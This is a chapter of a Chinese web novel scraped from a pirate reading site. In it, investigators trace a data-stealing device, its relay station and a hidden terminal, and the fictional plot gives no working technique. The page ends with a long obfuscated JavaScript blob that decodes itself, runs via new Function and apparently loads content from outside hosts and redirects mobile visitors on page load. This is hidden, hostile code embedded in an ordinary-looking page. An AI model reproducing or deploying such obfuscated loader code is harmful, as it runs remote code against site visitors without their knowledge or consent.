首页
[切换至繁体版]
返回

第一卷《八万亿》第十八章

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第一卷《八万亿》第十八章(第1/2页)
    第一卷《八万亿》第十八章
    清晨五点半,张姜勃鑫被一阵急促的敲门声叫醒。他翻身从沙发上坐起来——昨晚为了整理联合核查组的数据,他直接在值房的沙发上睡了一夜——揉了揉发酸的后颈,走过去拉开门。门口站着的是孙校尉。头盔歪在一边,额角沁着一层细汗,手里攥着一枚亮着红光的预警玉简。
    “张先生,出事了。“孙校尉把玉简塞进他手里,“档案馆那边连夜清点特殊存储容器,发现九号门里的东西被动过了。门锁完好,但容器内部的灵力封印有一条微弱的裂痕。技术处那边确认有人打开过容器,时间大约是在前天半夜。“
    “九号门里存的是什么?“
    “千丈金仙冠冕。具体是什么东西我也不太清楚,但综合办那边的鲁执中亲自来了,说冠冕是三方协议的附属抵押物,事关重大,让你尽快参与调查。“
    张姜勃鑫把手里的预警玉简翻了个面,看到背面贴着一张手写的便条,字迹是鲁执中的——“速来南天门值房,我已到。“他把玉简揣进口袋,回头看了一眼值房桌上摊开的文件——昨晚整理到一半的联合核查数据、深部斜井的勘测记录、以及一份他手写的“债务重组方案第二稿“的提纲。他把那些文件迅速收拢塞进抽屉里,锁上,然后转身跟着孙校尉走出值房。
    清晨的天宫还在薄金色的雾霭里。南天门牌楼在雾中显露出一种比白天更柔和的轮廓,快速通道还没有开启,108个卡点的光栏暗着。鲁执中已经站在值房门口了。他穿着综合办的深蓝制服,手里没拿任何文件,姿态比张姜勃鑫之前见到的任何一次都更紧绷——像一根被拉长了半寸的弓弦。
    “冠冕是被打开的,而且不是第一次。“鲁执中开口时语速比平时快了一拍,“存储容器的操作日志显示,过去三十天内九号门被打开过三次。第一次是联合核查组做档案调取时按程序开的;第二次是三天前,开锁方式显示为'三钥同时验证,间隔0.7秒';第三次是昨晚,同一把钥匙,同一个间隔——但昨晚的操作者在打开容器之后多做了两件事。“
    “什么事?“
    “第一,他读取了冠冕内层的灵力刻字记录。第二,他把一件微型的数据窃取器贴在了冠冕内侧,然后合上了容器。那个窃取器直到今天凌晨技术处做例行灵力扫描时才被发现。窃取器已经读取了冠冕内层全部十七行刻字内容,并在今天凌晨三点左右完成了一次向外传送。“
    十七行刻字内容被读取并传送了。张姜勃鑫在脑子里迅速过了一遍冠冕刻字的清单——祖父的名字、代际执行人序列、以及那三行被涂黑的应急协议摘要。如果这些信息落入了第三方手中,被涂黑的三行应急协议内容就可能成为别有用心的工具。
    “窃取器的传送目的地能追到吗?“
    “技术处正在查。但根据初始信号追踪,它指向的是天宫外部的一个接收端——城南的一处废弃物资接口站。那个接口站在编制优化办的旧系统里仍然登记为'备用物资通道',但已经很多年没有实际使用了。“
    又是城南废弃货栈。张姜勃鑫心里一沉——之前退役天兵赵成和周大壮的活动节点也是同一个坐标。那条旧“备用物资通道“被人反复利用了。他有种直觉,这条线的后台通向一个人——周启明,那个在编制优化办技术专员中负责“外部联络“的人。
    他对鲁执中说:“城南物资接口站的旧系统登记信息我能调阅吗?“
    “可以。你的金仙箓权限覆盖了这一层级的数据。“
    他走进值房打开终端。输入“城南物资接口站“的检索词之后,系统弹出了一份旧档案,条目详细但不完整——最近的一次“登记更新“是一百二十年前,当时负责维护这条通道的部门是编制优化办的下属外勤组。但档案页面的底部备注栏里有一行更近的笔迹——手写的,纸张扫描件,字迹显示出“周启明·系统维护·天历癸卯年四月“——也就是三年前。周启明在编制优化办负责“外部联络“,他的职责范围覆盖了包括这条废弃通道在内的各种边角系统。他不需要任何特殊授权就能在那条通道上做手脚,因为“维护“本身就是他的日常工作。
    他关了终端,转身面对鲁执中:“冠冕的刻字内容被窃取之后,最坏的影响是什么?“
    鲁执中沉默了一瞬。“冠冕内层记录了三方协议签署时的全部核心条款,包括那三行涂黑的部分。如果有人拿到了涂黑部分的完整解读,然后断章取义地对外披露——比如只说'天宫单方面有权接管封印',而不提灵山和地府各自的备忘录——三界协议就会被推入互疑的漩涡。“
    “那现在要做两件事。第一,追回冠冕内层刻字的完整备份——如果数据还在窃取器的存储介质里没有被完全传走,技术处可能还能截获一部分。第二,锁定传送路径的上游端——看是谁发起了那三次开锁操作。“
    “技术处已经在做第一件。第二件——“鲁执中在值房里踱了半步,“——操作者用了三把钥匙同时验证。赵常喜的钥匙三天前丢过,但他昨天找回后换了锁芯。综合办的钥匙一直在保险柜里没动过。信息技术处的钥匙也在钱玄同手上。唯一的可能是——有人在三天前复制了赵常喜的钥匙,然后立即使用,在赵常喜换锁芯之前完成了操作。复制技术跟第七卡点玉镜终端上发现的那种后门接口是同一类。“
    清道夫案中使用过的同类技术。张姜勃鑫在值房的桌前坐了下来,指尖无意识地敲着桌面边缘。清道夫案刚结案,元昊被停职,徐静安进入了复核程序。但“清道夫“使用的那套“后门接口“技术——通过银箔带读取终端缓存、复制权限凭证——在案件结案时并没有被彻底销毁,因为技术处回收的银箔带样品只是实物样本,它的制造工艺和复制方法还掌握在那些当初制作它的人手里。周大壮、赵成和李四组成的退役天兵团伙,他们利用从旧系统里提取的知识,仿制了“后门接口“设备,然后反过来用它操作了天宫内部的设备。
    他站起来,重新打开终端,输入“退役天兵转业安置办·人员名单“。名单弹出来时他快速地扫了一眼——五十七人。其中在“待安置“状态持续超过一百年的有二十一人,超过两百年的有七人。周大壮、赵成、李四都在那七人之中。而那个名单本身,在系统层面的维护权限归属于编制优化办的“外部联络员“——也就是周启明。周启明不仅有权维护退役天兵的转业档案,还有权对“备用物资通道“做日常维护登记。他在那套旧系统中拥有比大多数在岗人员更完整的信息权限。
    他记下了这个发现,没有立刻声张。先做事——把冠冕追回来。他拿起手机联系了钱玄同:“钱副处长,冠冕窃取器的数据传送路径——如果信号追踪指向城南货栈的地面层,我在那边有一个旧仓库的坐标,可以派技术处的人做现场信号搜捕吗?“
    钱玄同的回复很快:“信号搜捕设备我派人带着。你带路。“
    张姜勃鑫走出值房时天色已经大亮了。薄金色的雾霭正在慢慢散开,南天门的主通道上已经开始有了零散的仙家排队。他穿出牌楼时往后勤柜方向瞥了一眼——父亲姜坤已经在柜前了,正在核对一份晨间的物资清单。他没有停下脚步。
    城南废弃货栈在午前阳光中看起来比夜晚更破败,灰砖墙面上爬满了暗绿色的藤蔓,铁皮屋顶的接缝处锈出了几处缺口。钱玄同带来的技术处人员已经在货栈内展开设备——三台灵力信号探测器呈三角形排列,覆盖了货栈内的主要区域。设备启动后,信号读数不断闪烁——指向货栈西北角的一个旧木柜。有人撬开了柜子的背板,在柜壁内侧安装了一台微型的信号中继器。
    “窃取器传送的信号就是通过这个中继器转发的。“技术处人员指着中继器上的一个接口,“中继器的发送端指向城南五里外的一个信号塔——那座塔是人间的民用通信基站,但天宫的备用物资通道在旧系统中与它有物理接口对接。“
    城南五里外的民用通信基站。天宫与人间之间的实体接口之一——类似于城隍庙偏院里的八卦门,只是它不是一个通道门,而是一个“数据跳板“:天宫系统的信号从这个基站经过人间的通信网络被转发到另一个地址,从而隐藏真实的目的IP。
    钱玄同收回了探测设备,转向张姜勃鑫:“窃取器传出的数据从城南货栈的中继器跳到了五里外的民用基站,然后从基站的人间网出口接入了一个外部的私人服务器。那个服务器的物理位置我可以查——但需要你通过金仙箓的权限调取人间的网络运营商数据接口。“
    “我来调。“姜勃鑫打开手机,金仙箓权限中确实有一项“跨域数据接口“——可以调取天宫和人间网络之间的路由日志。他输入了中继器的发送时间戳,系统返回了一条匹配记录:“信号从基站出口进入人间公网后,接入了一个IP地址段。该地址段的物理定位为——城南工业区·旧纺织厂·第四车间。“
    城南工业区旧纺织厂第四车间。坐标已经精确到具体房间了。那里应该就是退役天兵团伙存放冠冕原始数据的备用地点。张姜勃鑫对钱玄同说:“你带设备在货栈这边继续做信号残留分析,我去纺织厂那边看一下。“
    “一个人去?“
    “先确认坐标。如果有情况我再联系你支援。“
    他出了货栈,沿着城南的工业区道路向东走了约两里路。旧纺织厂的围墙已经倒塌了大半,厂区内的荒草长到了齐腰高。第四车间在厂区最深处,是一栋三层的灰砖楼,窗户全部被木板封死,但底楼大门上的挂锁是新的。他蹲下来检查了挂锁的锁芯型号——与旧货栈里中继器箱体上的锁具同款,都是同一批安装的。这种统一性也说明操作者不只一两个人,而是有一定组织水平的团队。
    他用铁丝撬开了挂锁,推门进入第四车间。内部堆满了废弃的纺织设备——生锈的织机、开裂的卷轴架、散落一地的旧线轴。但车间中央有一块区域被清理出来了:一张长桌,桌面上放着一台便携式数据终端,终端的屏幕亮着,正在运行一个程序——界面上显示着“传送完成·数据包已转存至外部存储“的字样,时间戳是今天凌晨三点二十分。他把终端的数据线拔掉,用手机拍下了界面,然后把整台终端装进了随身携带的防静电袋里。
    回到城南货栈时钱玄同正在核对一组新的信号读数。“窃取器的本地存储还有部分残留数据没有被完全覆盖,技术处正在做还原。大约需要两天时间。“
    “终端我找到了。在第四车间的一张桌子上。“
    钱玄同看了一眼他提着的防静电袋,略微点头。“终端带回去做数据恢复。如果窃取器的残留数据和终端上的传送日志能拼起来,应该能恢复冠冕刻字的全部被读内容,以及它的传送去向。“
    他带着那台便携终端和防静电袋回到天宫时已是午后。到值房之后他先把终端交给了技术处派来的数据恢复专员,然后坐下来,整理上午在货栈和纺织厂的发现。退役天兵团伙的作案路径逐渐清晰了:周大壮通过编制优化办的旧系统登记信息锁定了冠冕的存储位置;赵成利用吴自明被复制的旧权限代码伪造了物资通道的申报清单;李四用他的旧货店作为物流中转点把冠冕从货栈转移到旧纺织厂;而在纺织厂的第四车间里,他们用数据终端读取并传送了冠冕内层的刻字内容。整个行动的各个环节分工明确,且利用了天宫制度中那些“长期闲置但未被清理“的旧权限和旧系统——编制优化办的旧代码、退役天兵的转业安置接口、物资通道的旧申报模板、城南货栈的中继器安装地址。每一环都不需要正面突破防御,只需要找到一扇被遗忘的后门。
    他合上记录本,靠进椅背。赵常喜从门外走进来,神色如常但步伐比平时稍微快一些,把一枚新换的钥匙放在桌上。“我换了锁芯。旧钥匙已经完全作废了。但我的旧钥匙在三天内被复制过——复制技术和清道夫案里的银箔带高度一致。“他停了一下,“清理掉'清道夫'程序之后,系统后台的'密钥复制'接口应该已经被封住了。但有人用同一套技术在旧系统里重新复制了一套工具。那套工具不在天宫的主系统里,是在退役天兵们自己搭建的独立数据节点上运行的。换句话说,他们把清道夫的'后门'技术整个复制了一份,塞到了人间的服务器上。“
    (本章未完,请点击下一页继续阅读)第一卷《八万亿》第十八章(第2/2页)
    “那你有什么建议?“
    “封接口没用,因为他们的节点在人间。唯一有效的方法是追踪密钥复制工具的代码特征,然后反向定位生成代码的初始终端——那台终端一定还在天宫内部,因为退役天兵
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();